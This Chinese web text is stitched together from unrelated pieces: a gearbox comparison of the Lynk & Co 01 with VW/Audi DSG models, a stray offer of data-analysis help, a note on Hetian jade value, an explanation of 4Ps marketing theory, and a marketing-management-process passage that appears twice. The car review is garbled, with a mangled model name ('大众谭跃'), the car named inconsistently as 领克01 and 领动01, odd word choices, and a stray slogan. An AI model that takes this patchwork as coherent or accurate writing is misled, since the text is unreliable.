01的动力调校更倾向于运动风格，油门踏板调校非常灵敏，初期动态响应非常快，更符合年轻消费者对运动SUV的追求。让人印象深刻的是这套动力总成的匹配程度，完全可以让驾驶者感受到随叫随到的快感。powershift的整体调校会给人非常沉稳的感觉，城市间的低速行驶几乎不会产生顿挫感，激烈行驶时的换挡逻辑非常清晰迅速。就诚信度而言，有媲美标杆产品的实力。简单来说:大众谭跃和奥迪Q3搭载的DQ381和DQ500变速器都属于DSG家族，所以严格来说，这两款产品的核心技术没有本质区别。它们最大的特点是湿式多离合器片的动力传递结构，由于结构的优化，大大减小了湿式动力换挡的体积和重量。领克01的7DCT变速器配备德国LUK双离合器及其执行系统，可以独立实现电液控制，在尽可能降低能量损失的基础上，保证最高的传动效率。值得一提的是，这款变速器还用了4年时间，通过了高温、拖拽、高速、振动等无数测试，证明了其良好的耐用性。总结:对于判断一款自动挡来说，换挡逻辑、乘坐舒适性、经济性无疑是最明显的三个方面。而我们今天给大家带来的这三款车型及其变速器，也算是现阶段主流车型的代表作品了。值得一提的是，虽然领动01搭载的7DCT湿式动力换挡与DSG相比属于“年轻一代”，但在硬件配置和实际调校上，已经具备了达到同级别产品领先水平的实力。百万购车补贴

要分析什么，主要是看你的研究目的你的研究目的明确吗我替别人做这类的数据分析蛮多的

和田玉是世界上最著名的玉石之一，因为它具有很高的观赏价值和收藏价值，所以非常值钱。和田玉的价值受到多种因素的影响，包括但不限于以下几个方面：品种和颜色：和田玉有多种品种和颜色，其中绿色和白色的品质最高，价格也相对较高。纹理和质地：好的和田玉应该有细腻的纹路和质地均匀的颗粒状结构。表面应该没有裂纹和瑕疵。纯度：和田玉越纯，它的价值就越高。好的和田玉应该没有杂质。重量和大小：和田玉的重量和大小也会影响它的价值，一般来说，越大越重的和田玉价格越高。市场供求关系和藏家偏好：和田玉的价值也受到市场供求关系和藏家的偏好影响。总体来说，好的和田玉价格可能会非常高昂，但是如果你是一位和田玉的藏家或者爱好者，那么它的价值可能会超越其经济价值。

4Ps营销理论实际上是从管理决策的角度来研究市场营销问题。从管理决策的角度看，影响企业市场营销活动的各种因素（变数）可以分为两大类：一是企业不可控因素，即营销者本身不可控制的市场；营销环境，包括微观环境和宏观环境；二是可控因素，即营销者自己可以控制的产品、商标、品牌、价格、广告、渠道等等，而4Ps就是对各种可控因素的归纳：产品策略（Product Strategy），主要是指企业以向目标市场提供各种适合消费者需求的有形和无形产品的方式来实现其营销目标。其中包括对同产品有关的品种、规格、式样、质量、包装、特色、商标、品牌以及各种服务措施等可控因素的组合和运用。定价策略（Pricing Strategy），主要是指企业以按照市场规律制定价格和变动价格等方式来实现其营销目标，其中包括对同定价有关的基本价格、折扣价格、津贴、付款期限、商业信用以及各种定价方法和定价技巧等可控因素的组合和运用。分销策略（Placing Strategy），主要是指企业以合理地选择分销渠道和组织商品实体流通的方式来实现其营销目标，其中包括对同分销有关的渠道覆盖面、商品流转环节、中间商、网点设置以及储存运输等可控因素的组合和运用。促销策略（Promoting Strategy），主要是指企业以利用各种信息传播手段刺激消费者购买欲望，促进产品销售的方式来实现其营销目标，其中包括对同促销有关的广告、人员推销、营业推广，公共关系等可控因素的组合和运用。这四种营销策略的组合，因其英语的第一个字母都为“P”，所以通常也称之为“4P‘s”。 4P营销理论(The Marketing Theory of 4Ps)，4P理论产生于20世纪60年代的美国，随着营销组合理论的提出而出现的。4P营销理论1953年，尼尔·博登（NeilBorden）在美国市场营销学会的就职演说中创造了“市场营销组合”（Marketingmix）这一术语，其意是指市场需求或多或少的在某种程度上受到所谓“营销变量”或“营销要素”的影响。为了寻求一定的市场反应，企业要对这些要素进行有效的组合，从而满足市场需求，获得最大利润。营销组合实际上有几十个要素（博登提出的市场营销组合原本就包括12个要素），杰罗姆·麦卡锡（McCarthy）于1960年在其《基础营销》（BasicMarketing）一书中将这些要素一般地概括为4类：产品（Product）、价格（Price）、渠道（Place）、促销（Promotion），即著名的4P营销理论。美国营销学学者杰瑞u2022麦卡锡教授在20世纪60年代提出了著名的4P营销组合策略，即产品（Product）、价格（Price）、渠道Place）和促销（Promotion）组成的营销手段。4P营销理论为企业的营销策划提供了一个有用的框架。不过，它是以满足市场需求为目标的，重视产品导向而非消费者导向，代表的是企业立场而非客户的立场。新的组合：在4P的基础上，后来又加上政治权利Political Power）与公共关系（Public relation）形成新的6P营销策略组合。即要运用政治力量和公共关系，打破国际或国内市场上的贸易壁垒，为企业的市场营销开辟道路。4P营销理论-理论定义4P的提出奠定了管理营销的基础理论框架。该理论以单个企业作为分析单位，认为影响企业营销活动效果的因素有两种：一种是企业不能够控制的，如政治、法律、经济、人文、地理、等环境因素，称之为不可控因素，这也是企业所面临的外部环境；一种是企业可以控制的，如生产、定价、分销、促销等营销因素，称之为企业可控因素。企业营销活动的实质是一个利用内部可控因素适应外部环境的过程，即通过对产品、价格、分销、促销的计划和实施，对外部不可控因素做出积极动态的反应，从而促成交易的实现和满足个人与组织的目标，用科特勒的话说就是“如果公司生产出适当的产品，定出适当的价格，利用适当的分销渠道，并辅之以适当的促销活动，那么该公司就会获得成功”（科特勒.2001）。所以市场营销活动的核心就在于制定并实施有效的市场营销组合。4P营销理论-历史演变20世纪的60年代，当时的市场正处于卖方市场向买方市场转变的过程中，市场竞争远没有现在激烈。这时候产生的4P理论主要是从供方出发来研究市场的需求及变化，如何在竞争在取胜。4P理论重视产品导向而非消费者导向，以满足市场需求为目标。4P理论是营销学的基本理论，它最早将复杂的市场营销活动加以简单化、抽象化和体系化，构建了营销学的基本框架，促进了市场营销理论的发展与普及。4P理论在营销实践中得到了广泛的应用，至今仍然是人们思考营销问题的基本模式。然而随着环境的变化，这一理论逐渐显示出其弊端：一是营销活动着重企业内部，对营销过程中的外部不可控变量考虑较少，难以适应市场变化。二是随着产品、价格和促销等手段在企业间相互模仿，在实际运用中很难起到出奇制胜的作用。

所谓市场营销管理过程是指企业为实现目标，完成任务而发现、分析、选择和利用市场机会的管理过程。具体包括，分析市场机会、选择目标市场、设计市场营销组合以及执行和控制营销计划。 一、 分析市场机会 市场机会就是未满足的需要。为了发现市场机会，营销人员必须广泛收信市场信息，进行专门的调查研究，充分了解当前情况外，还应该按照经济发展的规律，预测未来发展的趋势. 营销人员不但要善于发现和识别市场机会，还要善于分析、评价哪些才是适合本企业的营销机会（就是对企业的营销具有吸引力的，能享受竞争优势的市场机会），市场上一切未满足的需要都是市场机会，但能否成为企业的营销机会，要看它是否适合于企业的目标和资源，是否能使企业扬长避短，发挥优势，比竞争者或可能竞争者获得更大的超额利润。 二、 选择目标市场 企业选定符合自身目标和资源的营销机会以后，还要对市场容量和市场结构进行进一步分析，确定市场范围，无论是从事消费者市场营销还是从事产业市场营销的任何企业都不可能为具有某种需求的全体顾客服务，而只能满足部分顾客的需求。这是由顾客需求的多样变动性及企业拥有资源的有限性所决定的。因些，企业必须明确在能力可及的范围内要满足哪些顾客的要求，首先进行市场细分，然后选择目标市场，最后进行市场定位。 三、设计市场营销组合 企业在确定目标市场和进行市场定位之后，市场营销管理过程就进入第三阶段——设计市场营销组合。市场营销组合是指企业用于追求目标市场预期销售量水平的可控营销变量的组合。营销组合中包含的可控变量很多，可以概括四个基本数量，即，产品、价格、地点和促销。 市场营销组合因素对企业来说都是可控因素，即企业根据目标市场的需求，可能自主决定产品结构、产品价格、选择分销渠道和促销方式，但这种自主权是相对的，要受到自身资源和目标的制约及各种微观和客观因素的影响。 四、执行和控制市场营销计划 企业市场营销管理的第四步是执行的控制市场营销计划，只有有效地执行计划，才能实现企业的战略任务，因些这是营销过程中极其重要的步骤： 市场营销计划的执行 市场营销计划是企业整体战略规划在营销领域的具体化，是企业的一种职能计划。其执行过程包括五个方面： 1、制定详细的行动方案。为了有效地实施营销战略，应明确营销战略实施的关键性决策和任务，并将执行这些决策和任务的责任落实到个人或小组。 2、 建立组织结构。不同的企业其任务不同，需要建立不同的组织结构。组织结构必须与企业自身特点和环境相适应，规定明确的职权界限和信息沟通渠道，协调各部门和人员的行动。 3、设计决策和报酬制度。科学的决策体系是企业成败的关键，而合理的奖罚制度能充分调动人的积极性，充分发挥组织效应。 开发并合理调配人力资源。企业的任何活动都是由人来开展的，人员的考核、选拔、安置、培训和激励问题对企业至关重要。 4、建立适当的企业文化和管理风格。企业文化是指企业内部人员共同遵循的价值标准和行为准则，对企业员工起着凝聚和导向作用。企业文化与管理风格相联系，一旦形成，对企业发展会产生持续、稳定的影响。 市场营销计划的控制 在营销计划的执行过程中，可能会出现些意想不到的问题，需要一个控制系统来保证营销目标的实现。营销控制主要有年度计划控制、盈利能力控制、效率控制和战略控制。 年度计划控制是企业在本年度内采取制定标准、绩效测量、因果分析、改正行动的控制步骤，检查实际绩效与计划之间是否有偏差，并采取改进措施，以确保营销计划的实现与完成。 盈利能力控制。运用盈利能力控制来测定不同产品、不同销售区域、不同顾客群体、不同渠道以及不同订货规模的盈利能力。帮助管理人员决定各种顾客群体活动是否扩展、减少或取消。控制指标有销售利润率、资产收益率、存货周转率等。 效率控制包括销售人员效率控制、广告效率控制、促销效率控制和分销效率控制，通过对这些环节的控制以保证营销组合因素功能执行的有效性。 战略控制是企业采取一系列行动，使实际市场营销工作与原规划尽可能一致。在控制中通过不断评审和信息反馈，对战略进行不断的修正。战略控制必须根据最新的情况重新评估计划和进展，对企业来说，这是难度最大的控制。

所谓市场营销管理过程是指企业为实现目标，完成任务而发现、分析、选择和利用市场机会的管理过程。具体包括，分析市场机会、选择目标市场、设计市场营销组合以及执行和控制营销计划。一、分析市场机会市场机会就是未满足的需要。为了发现市场机会，营销人员必须广泛收信市场信息，进行专门的调查研究，充分了解当前情况外，还应该按照经济发展的规律，预测未来发展的趋势.营销人员不但要善于发现和识别市场机会，还要善于分析、评价哪些才是适合本企业的营销机会(就是对企业的营销具有吸引力的，能享受竞争优势的市场机会)，市场上一切未满足的需要都是市场机会，但能否成为企业的营销机会，要看它是否适合于企业的目标和资源，是否能使企业扬长避短，发挥优势，比竞争者或可能竞争者获得更大的超额利润。二、选择目标市场企业选定符合自身目标和资源的营销机会以后，还要对市场容量和市场结构进行进一步分析，确定市场范围，无论是从事消费者市场营销还是从事产业市场营销的任何企业都不可能为具有某种需求的全体顾客服务，而只能满足部分顾客的需求。这是由顾客需求的多样变动性及企业拥有资源的有限性所决定的。因些，企业必须明确在能力可及的范围内要满足哪些顾客的要求，首先进行市场细分，然后选择目标市场，最后进行市场定位。三、设计市场营销组合企业在确定目标市场和进行市场定位之后，市场营销管理过程就进入第三阶段——设计市场营销组合。市场营销组合是指企业用于追求目标市场预期销售量水平的可控营销变量的组合。营销组合中包含的可控变量很多，可以概括四个基本数量，即，产品、价格、地点和促销。市场营销组合因素对企业来说都是可控因素，即企业根据目标市场的需求，可能自主决定产品结构、产品价格、选择分销渠道和促销方式，但这种自主权是相对的，要受到自身资源和目标的制约及各种微观和客观因素的影响。四、执行和控制市场营销计划企业市场营销管理的第四步是执行的控制市场营销计划，只有有效地执行计划，才能实现企业的战略任务，因些这是营销过程中极其重要的步骤。